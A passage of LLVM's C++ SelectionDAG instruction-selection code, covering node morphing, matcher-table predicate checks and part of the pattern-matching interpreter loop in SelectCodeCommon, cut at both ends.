InputChains.push_back(V); }; for (auto *N : ChainNodesMatched) { Worklist.push_back(N); Visited.insert(N); } while (!Worklist.empty()) AddChains(Worklist.pop_back_val()->getOperand(0)); // Skip the search if there are no chain dependencies. if (InputChains.size() == 0) return CurDAG->getEntryNode(); // If one of these chains is a successor of input, we must have a // node that is both the predecessor and successor of the // to-be-merged nodes. Fail. Visited.clear(); for (SDValue V : InputChains) Worklist.push_back(V.getNode()); for (auto *N : ChainNodesMatched) if (SDNode::hasPredecessorHelper(N, Visited, Worklist, Max, true)) return SDValue(); // Return merged chain. if (InputChains.size() == 1) return InputChains[0]; return CurDAG->getNode(ISD::TokenFactor, SDLoc(ChainNodesMatched[0]), MVT::Other, InputChains); } /// MorphNode - Handle morphing a node in place for the selector. SDNode *SelectionDAGISel:: MorphNode(SDNode *Node, unsigned TargetOpc, SDVTList VTList, ArrayRef<SDValue> Ops, unsigned EmitNodeInfo) { // It is possible we're using MorphNodeTo to replace a node with no // normal results with one that has a normal result (or we could be // adding a chain) and the input could have glue and chains as well. // In this case we need to shift the operands down. // FIXME: This is a horrible hack and broken in obscure cases, no worse // than the old isel though. int OldGlueResultNo = -1, OldChainResultNo = -1; unsigned NTMNumResults = Node->getNumValues(); if (Node->getValueType(NTMNumResults-1) == MVT::Glue) { OldGlueResultNo = NTMNumResults-1; if (NTMNumResults != 1 && Node->getValueType(NTMNumResults-2) == MVT::Other) OldChainResultNo = NTMNumResults-2; } else if (Node->getValueType(NTMNumResults-1) == MVT::Other) OldChainResultNo = NTMNumResults-1; // Call the underlying SelectionDAG routine to do the transmogrification. Note // that this deletes operands of the old node that become dead. SDNode *Res = CurDAG->MorphNodeTo(Node, ~TargetOpc, VTList, Ops); // MorphNodeTo can operate in two ways: if an existing node with the // specified operands exists, it can just return it. Otherwise, it // updates the node in place to have the requested operands. if (Res == Node) { // If we updated the node in place, reset the node ID. To the isel, // this should be just like a newly allocated machine node. Res->setNodeId(-1); } unsigned ResNumResults = Res->getNumValues(); // Move the glue if needed. if ((EmitNodeInfo & OPFL_GlueOutput) && OldGlueResultNo != -1 && (unsigned)OldGlueResultNo != ResNumResults-1) ReplaceUses(SDValue(Node, OldGlueResultNo), SDValue(Res, ResNumResults - 1)); if ((EmitNodeInfo & OPFL_GlueOutput) != 0) --ResNumResults; // Move the chain reference if needed. if ((EmitNodeInfo & OPFL_Chain) && OldChainResultNo != -1 && (unsigned)OldChainResultNo != ResNumResults-1) ReplaceUses(SDValue(Node, OldChainResultNo), SDValue(Res, ResNumResults - 1)); // Otherwise, no replacement happened because the node already exists. Replace // Uses of the old node with the new one. if (Res != Node) { ReplaceNode(Node, Res); } else { EnforceNodeIdInvariant(Res); } return Res; } /// CheckSame - Implements OP_CheckSame. LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckSame(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const SmallVectorImpl<std::pair<SDValue, SDNode*>> &RecordedNodes) { // Accept if it is exactly the same as a previously recorded node. unsigned RecNo = MatcherTable[MatcherIndex++]; assert(RecNo < RecordedNodes.size() && "Invalid CheckSame"); return N == RecordedNodes[RecNo].first; } /// CheckChildSame - Implements OP_CheckChildXSame. LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckChildSame(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const SmallVectorImpl<std::pair<SDValue, SDNode*>> &RecordedNodes, unsigned ChildNo) { if (ChildNo >= N.getNumOperands()) return false; // Match fails if out of range child #. return ::CheckSame(MatcherTable, MatcherIndex, N.getOperand(ChildNo), RecordedNodes); } /// CheckPatternPredicate - Implements OP_CheckPatternPredicate. LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckPatternPredicate(const unsigned char *MatcherTable, unsigned &MatcherIndex, const SelectionDAGISel &SDISel) { return SDISel.CheckPatternPredicate(MatcherTable[MatcherIndex++]); } /// CheckNodePredicate - Implements OP_CheckNodePredicate. LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckNodePredicate(const unsigned char *MatcherTable, unsigned &MatcherIndex, const SelectionDAGISel &SDISel, SDNode *N) { return SDISel.CheckNodePredicate(N, MatcherTable[MatcherIndex++]); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckOpcode(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDNode *N) { uint16_t Opc = MatcherTable[MatcherIndex++]; Opc |= (unsigned short)MatcherTable[MatcherIndex++] << 8; return N->getOpcode() == Opc; } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckType(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const TargetLowering *TLI, const DataLayout &DL) { MVT::SimpleValueType VT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; if (N.getValueType() == VT) return true; // Handle the case when VT is iPTR. return VT == MVT::iPTR && N.getValueType() == TLI->getPointerTy(DL); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckChildType(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const TargetLowering *TLI, const DataLayout &DL, unsigned ChildNo) { if (ChildNo >= N.getNumOperands()) return false; // Match fails if out of range child #. return ::CheckType(MatcherTable, MatcherIndex, N.getOperand(ChildNo), TLI, DL); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckCondCode(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N) { return cast<CondCodeSDNode>(N)->get() == (ISD::CondCode)MatcherTable[MatcherIndex++]; } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckChild2CondCode(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N) { if (2 >= N.getNumOperands()) return false; return ::CheckCondCode(MatcherTable, MatcherIndex, N.getOperand(2)); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckValueType(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const TargetLowering *TLI, const DataLayout &DL) { MVT::SimpleValueType VT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; if (cast<VTSDNode>(N)->getVT() == VT) return true; // Handle the case when VT is iPTR. return VT == MVT::iPTR && cast<VTSDNode>(N)->getVT() == TLI->getPointerTy(DL); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckInteger(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N) { int64_t Val = MatcherTable[MatcherIndex++]; if (Val & 128) Val = GetVBR(Val, MatcherTable, MatcherIndex); ConstantSDNode *C = dyn_cast<ConstantSDNode>(N); return C && C->getSExtValue() == Val; } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckChildInteger(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, unsigned ChildNo) { if (ChildNo >= N.getNumOperands()) return false; // Match fails if out of range child #. return ::CheckInteger(MatcherTable, MatcherIndex, N.getOperand(ChildNo)); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckAndImm(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const SelectionDAGISel &SDISel) { int64_t Val = MatcherTable[MatcherIndex++]; if (Val & 128) Val = GetVBR(Val, MatcherTable, MatcherIndex); if (N->getOpcode() != ISD::AND) return false; ConstantSDNode *C = dyn_cast<ConstantSDNode>(N->getOperand(1)); return C && SDISel.CheckAndMask(N.getOperand(0), C, Val); } LLVM_ATTRIBUTE_ALWAYS_INLINE static inline bool CheckOrImm(const unsigned char *MatcherTable, unsigned &MatcherIndex, SDValue N, const SelectionDAGISel &SDISel) { int64_t Val = MatcherTable[MatcherIndex++]; if (Val & 128) Val = GetVBR(Val, MatcherTable, MatcherIndex); if (N->getOpcode() != ISD::OR) return false; ConstantSDNode *C = dyn_cast<ConstantSDNode>(N->getOperand(1)); return C && SDISel.CheckOrMask(N.getOperand(0), C, Val); } /// IsPredicateKnownToFail - If we know how and can do so without pushing a /// scope, evaluate the current node. If the current predicate is known to /// fail, set Result=true and return anything. If the current predicate is /// known to pass, set Result=false and return the MatcherIndex to continue /// with. If the current predicate is unknown, set Result=false and return the /// MatcherIndex to continue with. static unsigned IsPredicateKnownToFail(const unsigned char *Table, unsigned Index, SDValue N, bool &Result, const SelectionDAGISel &SDISel, SmallVectorImpl<std::pair<SDValue, SDNode*>> &RecordedNodes) { switch (Table[Index++]) { default: Result = false; return Index-1; // Could not evaluate this predicate. case SelectionDAGISel::OPC_CheckSame: Result = !::CheckSame(Table, Index, N, RecordedNodes); return Index; case SelectionDAGISel::OPC_CheckChild0Same: case SelectionDAGISel::OPC_CheckChild1Same: case SelectionDAGISel::OPC_CheckChild2Same: case SelectionDAGISel::OPC_CheckChild3Same: Result = !::CheckChildSame(Table, Index, N, RecordedNodes, Table[Index-1] - SelectionDAGISel::OPC_CheckChild0Same); return Index; case SelectionDAGISel::OPC_CheckPatternPredicate: Result = !::CheckPatternPredicate(Table, Index, SDISel); return Index; case SelectionDAGISel::OPC_CheckPredicate: Result = !::CheckNodePredicate(Table, Index, SDISel, N.getNode()); return Index; case SelectionDAGISel::OPC_CheckOpcode: Result = !::CheckOpcode(Table, Index, N.getNode()); return Index; case SelectionDAGISel::OPC_CheckType: Result = !::CheckType(Table, Index, N, SDISel.TLI, SDISel.CurDAG->getDataLayout()); return Index; case SelectionDAGISel::OPC_CheckTypeRes: { unsigned Res = Table[Index++]; Result = !::CheckType(Table, Index, N.getValue(Res), SDISel.TLI, SDISel.CurDAG->getDataLayout()); return Index; } case SelectionDAGISel::OPC_CheckChild0Type: case SelectionDAGISel::OPC_CheckChild1Type: case SelectionDAGISel::OPC_CheckChild2Type: case SelectionDAGISel::OPC_CheckChild3Type: case SelectionDAGISel::OPC_CheckChild4Type: case SelectionDAGISel::OPC_CheckChild5Type: case SelectionDAGISel::OPC_CheckChild6Type: case SelectionDAGISel::OPC_CheckChild7Type: Result = !::CheckChildType( Table, Index, N, SDISel.TLI, SDISel.CurDAG->getDataLayout(), Table[Index - 1] - SelectionDAGISel::OPC_CheckChild0Type); return Index; case SelectionDAGISel::OPC_CheckCondCode: Result = !::CheckCondCode(Table, Index, N); return Index; case SelectionDAGISel::OPC_CheckChild2CondCode: Result = !::CheckChild2CondCode(Table, Index, N); return Index; case SelectionDAGISel::OPC_CheckValueType: Result = !::CheckValueType(Table, Index, N, SDISel.TLI, SDISel.CurDAG->getDataLayout()); return Index; case SelectionDAGISel::OPC_CheckInteger: Result = !::CheckInteger(Table, Index, N); return Index; case SelectionDAGISel::OPC_CheckChild0Integer: case SelectionDAGISel::OPC_CheckChild1Integer: case SelectionDAGISel::OPC_CheckChild2Integer: case SelectionDAGISel::OPC_CheckChild3Integer: case SelectionDAGISel::OPC_CheckChild4Integer: Result = !::CheckChildInteger(Table, Index, N, Table[Index-1] - SelectionDAGISel::OPC_CheckChild0Integer); return Index; case SelectionDAGISel::OPC_CheckAndImm: Result = !::CheckAndImm(Table, Index, N, SDISel); return Index; case SelectionDAGISel::OPC_CheckOrImm: Result = !::CheckOrImm(Table, Index, N, SDISel); return Index; } } namespace { struct MatchScope { /// FailIndex - If this match fails, this is the index to continue with. unsigned FailIndex; /// NodeStack - The node stack when the scope was formed. SmallVector<SDValue, 4> NodeStack; /// NumRecordedNodes - The number of recorded nodes when the scope was formed. unsigned NumRecordedNodes; /// NumMatchedMemRefs - The number of matched memref entries. unsigned NumMatchedMemRefs; /// InputChain/InputGlue - The current chain/glue SDValue InputChain, InputGlue; /// HasChainNodesMatched - True if the ChainNodesMatched list is non-empty. bool HasChainNodesMatched; }; /// \A DAG update listener to keep the matching state /// (i.e. RecordedNodes and MatchScope) uptodate if the target is allowed to /// change the DAG while matching. X86 addressing mode matcher is an example /// for this. class MatchStateUpdater : public SelectionDAG::DAGUpdateListener { SDNode **NodeToMatch; SmallVectorImpl<std::pair<SDValue, SDNode *>> &RecordedNodes; SmallVectorImpl<MatchScope> &MatchScopes; public: MatchStateUpdater(SelectionDAG &DAG, SDNode **NodeToMatch, SmallVectorImpl<std::pair<SDValue, SDNode *>> &RN, SmallVectorImpl<MatchScope> &MS) : SelectionDAG::DAGUpdateListener(DAG), NodeToMatch(NodeToMatch), RecordedNodes(RN), MatchScopes(MS) {} void NodeDeleted(SDNode *N, SDNode *E) override { // Some early-returns here to avoid the search if we deleted the node or // if the update comes from MorphNodeTo (MorphNodeTo is the last thing we // do, so it's unnecessary to update matching state at that point). // Neither of these can occur currently because we only install this // update listener during matching a complex patterns. if (!E || E->isMachineOpcode()) return; // Check if NodeToMatch was updated. if (N == *NodeToMatch) *NodeToMatch = E; // Performing linear search here does not matter because we almost never // run this code. You'd have to have a CSE during complex pattern // matching. for (auto &I : RecordedNodes) if (I.first.getNode() == N) I.first.setNode(E); for (auto &I : MatchScopes) for (auto &J : I.NodeStack) if (J.getNode() == N) J.setNode(E); } }; } // end anonymous namespace void SelectionDAGISel::SelectCodeCommon(SDNode *NodeToMatch, const unsigned char *MatcherTable, unsigned TableSize) { // FIXME: Should these even be selected? Handle these cases in the caller? switch (NodeToMatch->getOpcode()) { default: break; case ISD::EntryToken: // These nodes remain the same. case ISD::BasicBlock: case ISD::Register: case ISD::RegisterMask: case ISD::HANDLENODE: case ISD::MDNODE_SDNODE: case ISD::TargetConstant: case ISD::TargetConstantFP: case ISD::TargetConstantPool: case ISD::TargetFrameIndex: case ISD::TargetExternalSymbol: case ISD::MCSymbol: case ISD::TargetBlockAddress: case ISD::TargetJumpTable: case ISD::TargetGlobalTLSAddress: case ISD::TargetGlobalAddress: case ISD::TokenFactor: case ISD::CopyFromReg: case ISD::CopyToReg: case ISD::EH_LABEL: case ISD::ANNOTATION_LABEL: case ISD::LIFETIME_START: case ISD::LIFETIME_END: NodeToMatch->setNodeId(-1); // Mark selected. return; case ISD::AssertSext: case ISD::AssertZext: case ISD::AssertAlign: ReplaceUses(SDValue(NodeToMatch, 0), NodeToMatch->getOperand(0)); CurDAG->RemoveDeadNode(NodeToMatch); return; case ISD::INLINEASM: case ISD::INLINEASM_BR: Select_INLINEASM(NodeToMatch); return; case ISD::READ_REGISTER: Select_READ_REGISTER(NodeToMatch); return; case ISD::WRITE_REGISTER: Select_WRITE_REGISTER(NodeToMatch); return; case ISD::UNDEF: Select_UNDEF(NodeToMatch); return; case ISD::FREEZE: Select_FREEZE(NodeToMatch); return; } assert(!NodeToMatch->isMachineOpcode() && "Node already selected!"); // Set up the node stack with NodeToMatch as the only node on the stack. SmallVector<SDValue, 8> NodeStack; SDValue N = SDValue(NodeToMatch, 0); NodeStack.push_back(N); // MatchScopes - Scopes used when matching, if a match failure happens, this // indicates where to continue checking. SmallVector<MatchScope, 8> MatchScopes; // RecordedNodes - This is the set of nodes that have been recorded by the // state machine. The second value is the parent of the node, or null if the // root is recorded. SmallVector<std::pair<SDValue, SDNode*>, 8> RecordedNodes; // MatchedMemRefs - This is the set of MemRef's we've seen in the input // pattern. SmallVector<MachineMemOperand*, 2> MatchedMemRefs; // These are the current input chain and glue for use when generating nodes. // Various Emit operations change these. For example, emitting a copytoreg // uses and updates these. SDValue InputChain, InputGlue; // ChainNodesMatched - If a pattern matches nodes that have input/output // chains, the OPC_EmitMergeInputChains operation is emitted which indicates // which ones they are. The result is captured into this list so that we can // update the chain results when the pattern is complete. SmallVector<SDNode*, 3> ChainNodesMatched; LLVM_DEBUG(dbgs() << "ISEL: Starting pattern match\n"); // Determine where to start the interpreter. Normally we start at opcode #0, // but if the state machine starts with an OPC_SwitchOpcode, then we // accelerate the first lookup (which is guaranteed to be hot) with the // OpcodeOffset table. unsigned MatcherIndex = 0; if (!OpcodeOffset.empty()) { // Already computed the OpcodeOffset table, just index into it. if (N.getOpcode() < OpcodeOffset.size()) MatcherIndex = OpcodeOffset[N.getOpcode()]; LLVM_DEBUG(dbgs() << " Initial Opcode index to " << MatcherIndex << "\n"); } else if (MatcherTable[0] == OPC_SwitchOpcode) { // Otherwise, the table isn't computed, but the state machine does start // with an OPC_SwitchOpcode instruction. Populate the table now, since this // is the first time we're selecting an instruction. unsigned Idx = 1; while (true) { // Get the size of this case. unsigned CaseSize = MatcherTable[Idx++]; if (CaseSize & 128) CaseSize = GetVBR(CaseSize, MatcherTable, Idx); if (CaseSize == 0) break; // Get the opcode, add the index to the table. uint16_t Opc = MatcherTable[Idx++]; Opc |= (unsigned short)MatcherTable[Idx++] << 8; if (Opc >= OpcodeOffset.size()) OpcodeOffset.resize((Opc+1)*2); OpcodeOffset[Opc] = Idx; Idx += CaseSize; } // Okay, do the lookup for the first opcode. if (N.getOpcode() < OpcodeOffset.size()) MatcherIndex = OpcodeOffset[N.getOpcode()]; } while (true) { assert(MatcherIndex < TableSize && "Invalid index"); #ifndef NDEBUG unsigned CurrentOpcodeIndex = MatcherIndex; #endif BuiltinOpcodes Opcode = (BuiltinOpcodes)MatcherTable[MatcherIndex++]; switch (Opcode) { case OPC_Scope: { // Okay, the semantics of this operation are that we should push a scope // then evaluate the first child. However, pushing a scope only to have // the first check fail (which then pops it) is inefficient. If we can // determine immediately that the first check (or first several) will // immediately fail, don't even bother pushing a scope for them. unsigned FailIndex; while (true) { unsigned NumToSkip = MatcherTable[MatcherIndex++]; if (NumToSkip & 128) NumToSkip = GetVBR(NumToSkip, MatcherTable, MatcherIndex); // Found the end of the scope with no match. if (NumToSkip == 0) { FailIndex = 0; break; } FailIndex = MatcherIndex+NumToSkip; unsigned MatcherIndexOfPredicate = MatcherIndex; (void)MatcherIndexOfPredicate; // silence warning. // If we can't evaluate this predicate without pushing a scope (e.g. if // it is a 'MoveParent') or if the predicate succeeds on this node, we // push the scope and evaluate the full predicate chain. bool Result; MatcherIndex = IsPredicateKnownToFail(MatcherTable, MatcherIndex, N, Result, *this, RecordedNodes); if (!Result) break; LLVM_DEBUG( dbgs() << " Skipped scope entry (due to false predicate) at " << "index " << MatcherIndexOfPredicate << ", continuing at " << FailIndex << "\n"); ++NumDAGIselRetries; // Otherwise, we know that this case of the Scope is guaranteed to fail, // move to the next case. MatcherIndex = FailIndex; } // If the whole scope failed to match, bail. if (FailIndex == 0) break; // Push a MatchScope which indicates where to go if the first child fails // to match. MatchScope NewEntry; NewEntry.FailIndex = FailIndex; NewEntry.NodeStack.append(NodeStack.begin(), NodeStack.end()); NewEntry.NumRecordedNodes = RecordedNodes.size(); NewEntry.NumMatchedMemRefs = MatchedMemRefs.size(); NewEntry.InputChain = InputChain; NewEntry.InputGlue = InputGlue; NewEntry.HasChainNodesMatched = !ChainNodesMatched.empty(); MatchScopes.push_back(NewEntry); continue; } case OPC_RecordNode: { // Remember this node, it may end up being an operand in the pattern. SDNode *Parent = nullptr; if (NodeStack.size() > 1) Parent = NodeStack[NodeStack.size()-2].getNode(); RecordedNodes.push_back(std::make_pair(N, Parent)); continue; } case OPC_RecordChild0: case OPC_RecordChild1: case OPC_RecordChild2: case OPC_RecordChild3: case OPC_RecordChild4: case OPC_RecordChild5: case OPC_RecordChild6: case OPC_RecordChild7: { unsigned ChildNo = Opcode-OPC_RecordChild0; if (ChildNo >= N.getNumOperands()) break; // Match fails if out of range child #. RecordedNodes.push_back(std::make_pair(N->getOperand(ChildNo), N.getNode())); continue; } case OPC_RecordMemRef: if (auto *MN = dyn_cast<MemSDNode>(N)) MatchedMemRefs.push_back(MN->getMemOperand()); else { LLVM_DEBUG(dbgs() << "Expected MemSDNode "; N->dump(CurDAG); dbgs() << '\n'); } continue; case OPC_CaptureGlueInput: // If the current node has an input glue, capture it in InputGlue. if (N->getNumOperands() != 0 && N->getOperand(N->getNumOperands()-1).getValueType() == MVT::Glue) InputGlue = N->getOperand(N->getNumOperands()-1); continue; case OPC_MoveChild: { unsigned ChildNo = MatcherTable[MatcherIndex++]; if (ChildNo >= N.getNumOperands()) break; // Match fails if out of range child #. N = N.getOperand(ChildNo); NodeStack.push_back(N); continue; } case OPC_MoveChild0: case OPC_MoveChild1: case OPC_MoveChild2: case OPC_MoveChild3: case OPC_MoveChild4: case OPC_MoveChild5: case OPC_MoveChild6: case OPC_MoveChild7: { unsigned ChildNo = Opcode-OPC_MoveChild0; if (ChildNo >= N.getNumOperands()) break; // Match fails if out of range child #. N = N.getOperand(ChildNo); NodeStack.push_back(N); continue; } case OPC_MoveParent: // Pop the current node off the NodeStack. NodeStack.pop_back(); assert(!NodeStack.empty() && "Node stack imbalance!"); N = NodeStack.back(); continue; case OPC_CheckSame: if (!::CheckSame(MatcherTable, MatcherIndex, N, RecordedNodes)) break; continue; case OPC_CheckChild0Same: case OPC_CheckChild1Same: case OPC_CheckChild2Same: case OPC_CheckChild3Same: if (!::CheckChildSame(MatcherTable, MatcherIndex, N, RecordedNodes, Opcode-OPC_CheckChild0Same)) break; continue; case OPC_CheckPatternPredicate: if (!::CheckPatternPredicate(MatcherTable, MatcherIndex, *this)) break; continue; case OPC_CheckPredicate: if (!::CheckNodePredicate(MatcherTable, MatcherIndex, *this, N.getNode())) break; continue; case OPC_CheckPredicateWithOperands: { unsigned OpNum = MatcherTable[MatcherIndex++]; SmallVector<SDValue, 8> Operands; for (unsigned i = 0; i < OpNum; ++i) Operands.push_back(RecordedNodes[MatcherTable[MatcherIndex++]].first); unsigned PredNo = MatcherTable[MatcherIndex++]; if (!CheckNodePredicateWithOperands(N.getNode(), PredNo, Operands)) break; continue; } case OPC_CheckComplexPat: { unsigned CPNum = MatcherTable[MatcherIndex++]; unsigned RecNo = MatcherTable[MatcherIndex++]; assert(RecNo < RecordedNodes.size() && "Invalid CheckComplexPat"); // If target can modify DAG during matching, keep the matching state // consistent. std::unique_ptr<MatchStateUpdater> MSU; if (ComplexPatternFuncMutatesDAG()) MSU.reset(new MatchStateUpdater(*CurDAG, &NodeToMatch, RecordedNodes, MatchScopes)); if (!CheckComplexPattern(NodeToMatch, RecordedNodes[RecNo].second, RecordedNodes[RecNo].first, CPNum, RecordedNodes)) break; continue; } case OPC_CheckOpcode: if (!::CheckOpcode(MatcherTable, MatcherIndex, N.getNode())) break; continue; case OPC_CheckType: if (!::CheckType(MatcherTable, MatcherIndex, N, TLI, CurDAG->getDataLayout())) break; continue; case OPC_CheckTypeRes: { unsigned Res = MatcherTable[MatcherIndex++]; if (!::CheckType(MatcherTable, MatcherIndex, N.getValue(Res), TLI, CurDAG->getDataLayout())) break; continue; } case OPC_SwitchOpcode: { unsigned CurNodeOpcode = N.getOpcode(); unsigned SwitchStart = MatcherIndex-1; (void)SwitchStart; unsigned CaseSize; while (true) { // Get the size of this case. CaseSize = MatcherTable[MatcherIndex++]; if (CaseSize & 128) CaseSize = GetVBR(CaseSize, MatcherTable, MatcherIndex); if (CaseSize == 0) break; uint16_t Opc = MatcherTable[MatcherIndex++]; Opc |= (unsigned short)MatcherTable[MatcherIndex++] << 8; // If the opcode matches, then we will execute this case. if (CurNodeOpcode == Opc) break; // Otherwise, skip over this case. MatcherIndex += CaseSize; } // If no cases matched, bail out. if (CaseSize == 0) break; // Otherwise, execute the case we found. LLVM_DEBUG(dbgs() << " OpcodeSwitch from " << SwitchStart << " to " << MatcherIndex << "\n"); continue; } case OPC_SwitchType: { MVT CurNodeVT = N.getSimpleValueType(); unsigned SwitchStart = MatcherIndex-1; (void)SwitchStart; unsigned CaseSize; while (true) { // Get the size of this case. CaseSize = MatcherTable[MatcherIndex++]; if (CaseSize & 128) CaseSize = GetVBR(CaseSize, MatcherTable, MatcherIndex); if (CaseSize == 0) break; MVT CaseVT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; if (CaseVT == MVT::iPTR) CaseVT = TLI->getPointerTy(CurDAG->getDataLayout()); // If the VT matches, then we will execute this case. if (CurNodeVT == CaseVT) break; // Otherwise, skip over this case. MatcherIndex += CaseSize; } // If no cases matched, bail out. if (CaseSize == 0) break; // Otherwise, execute the case we found. LLVM_DEBUG(dbgs() << " TypeSwitch[" << EVT(CurNodeVT).getEVTString() << "] from " << SwitchStart << " to " << MatcherIndex << '\n'); continue; } case OPC_CheckChild0Type: case OPC_CheckChild1Type: case OPC_CheckChild2Type: case OPC_CheckChild3Type: case OPC_CheckChild4Type: case OPC_CheckChild5Type: case OPC_CheckChild6Type: case OPC_CheckChild7Type: if (!::CheckChildType(MatcherTable, MatcherIndex, N, TLI, CurDAG->getDataLayout(), Opcode - OPC_CheckChild0Type)) break; continue; case OPC_CheckCondCode: if (!::CheckCondCode(MatcherTable, MatcherIndex, N)) break; continue; case OPC_CheckChild2CondCode: if (!::CheckChild2CondCode(MatcherTable, MatcherIndex, N)) break; continue; case OPC_CheckValueType: if (!::CheckValueType(MatcherTable, MatcherIndex, N, TLI, CurDAG->getDataLayout())) break; continue; case OPC_CheckInteger: if (!::CheckInteger(MatcherTable, MatcherIndex, N)) break; continue; case OPC_CheckChild0Integer: case OPC_CheckChild1Integer: case OPC_CheckChild2Integer: case OPC_CheckChild3Integer: case OPC_CheckChild4Integer: if (!::CheckChildInteger(MatcherTable, MatcherIndex, N, Opcode-OPC_CheckChild0Integer)) break; continue; case OPC_CheckAndImm: if (!::CheckAndImm(MatcherTable, MatcherIndex, N, *this)) break; continue; case OPC_CheckOrImm: if (!::CheckOrImm(MatcherTable, MatcherIndex, N, *this)) break; continue; case OPC_CheckImmAllOnesV: if (!ISD::isBuildVectorAllOnes(N.getNode())) break; continue; case OPC_CheckImmAllZerosV: if (!ISD::isBuildVectorAllZeros(N.getNode())) break; continue; case OPC_CheckFoldableChainNode: { assert(NodeStack.size() != 1 && "No parent node"); // Verify that all intermediate nodes between the root and this one have // a single use (ignoring chains, which are handled in UpdateChains). bool HasMultipleUses = false; for (unsigned i = 1, e = NodeStack.size()-1; i != e; ++i) { unsigned NNonChainUses = 0; SDNode *NS = NodeStack[i].getNode(); for (auto UI = NS->use_begin(), UE = NS->use_end(); UI != UE; ++UI) if (UI.getUse().getValueType() != MVT::Other) if (++NNonChainUses > 1) { HasMultipleUses = true; break; } if (HasMultipleUses) break; } if (HasMultipleUses) break; // Check to see that the target thinks this is profitable to fold and that // we can fold it without inducing cycles in the graph. if (!IsProfitableToFold(N, NodeStack[NodeStack.size()-2].getNode(), NodeToMatch) || !IsLegalToFold(N, NodeStack[NodeStack.size()-2].getNode(), NodeToMatch, OptLevel, true/*We validate our own chains*/)) break; continue; } case OPC_EmitInteger: { MVT::SimpleValueType VT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; int64_t Val = MatcherTable[MatcherIndex++]; if (Val & 128) Val = GetVBR(Val, MatcherTable, MatcherIndex); RecordedNodes.push_back(std::pair<SDValue, SDNode*>( CurDAG->getTargetConstant(Val, SDLoc(NodeToMatch), VT), nullptr)); continue; } case OPC_EmitRegister: { MVT::SimpleValueType VT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; unsigned RegNo = MatcherTable[MatcherIndex++]; RecordedNodes.push_back(std::pair<SDValue, SDNode*>( CurDAG->getRegister(RegNo, VT), nullptr)); continue; } case OPC_EmitRegister2: { // For targets w/ more than 256 register names, the register enum // values are stored in two bytes in the matcher table (just like // opcodes). MVT::SimpleValueType VT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; unsigned RegNo = MatcherTable[MatcherIndex++]; RegNo |= MatcherTable[MatcherIndex++] << 8; RecordedNodes.push_back(std::pair<SDValue, SDNode*>( CurDAG->getRegister(RegNo, VT), nullptr)); continue; } case OPC_EmitConvertToTarget: { // Convert from IMM/FPIMM to target version. unsigned RecNo = MatcherTable[MatcherIndex++]; assert(RecNo < RecordedNodes.size() && "Invalid EmitConvertToTarget"); SDValue Imm = RecordedNodes[RecNo].first; if (Imm->getOpcode() == ISD::Constant) { const ConstantInt *Val=cast<ConstantSDNode>(Imm)->getConstantIntValue(); Imm = CurDAG->getTargetConstant(*Val, SDLoc(NodeToMatch), Imm.getValueType()); } else if (Imm->getOpcode() == ISD::ConstantFP) { const ConstantFP *Val=cast<ConstantFPSDNode>(Imm)->getConstantFPValue(); Imm = CurDAG->getTargetConstantFP(*Val, SDLoc(NodeToMatch), Imm.getValueType()); } RecordedNodes.push_back(std::make_pair(Imm, RecordedNodes[RecNo].second)); continue; } case OPC_EmitMergeInputChains1_0: // OPC_EmitMergeInputChains, 1, 0 case OPC_EmitMergeInputChains1_1: // OPC_EmitMergeInputChains, 1, 1 case OPC_EmitMergeInputChains1_2: { // OPC_EmitMergeInputChains, 1, 2 // These are space-optimized forms of OPC_EmitMergeInputChains. assert(!InputChain.getNode() && "EmitMergeInputChains should be the first chain producing node"); assert(ChainNodesMatched.empty() && "Should only have one EmitMergeInputChains per match"); // Read all of the chained nodes. unsigned RecNo = Opcode - OPC_EmitMergeInputChains1_0; assert(RecNo < RecordedNodes.size() && "Invalid EmitMergeInputChains"); ChainNodesMatched.push_back(RecordedNodes[RecNo].first.getNode()); // FIXME: What if other value results of the node have uses not matched // by this pattern? if (ChainNodesMatched.back() != NodeToMatch && !RecordedNodes[RecNo].first.hasOneUse()) { ChainNodesMatched.clear(); break; } // Merge the input chains if they are not intra-pattern references. InputChain = HandleMergeInputChains(ChainNodesMatched, CurDAG); if (!InputChain.getNode()) break; // Failed to merge. continue; } case OPC_EmitMergeInputChains: { assert(!InputChain.getNode() && "EmitMergeInputChains should be the first chain producing node"); // This node gets a list of nodes we matched in the input that have // chains. We want to token factor all of the input chains to these nodes // together. However, if any of the input chains is actually one of the // nodes matched in this pattern, then we have an intra-match reference. // Ignore these because the newly token factored chain should not refer to // the old nodes. unsigned NumChains = MatcherTable[MatcherIndex++]; assert(NumChains != 0 && "Can't TF zero chains"); assert(ChainNodesMatched.empty() && "Should only have one EmitMergeInputChains per match"); // Read all of the chained nodes. for (unsigned i = 0; i != NumChains; ++i) { unsigned RecNo = MatcherTable[MatcherIndex++]; assert(RecNo < RecordedNodes.size() && "Invalid EmitMergeInputChains"); 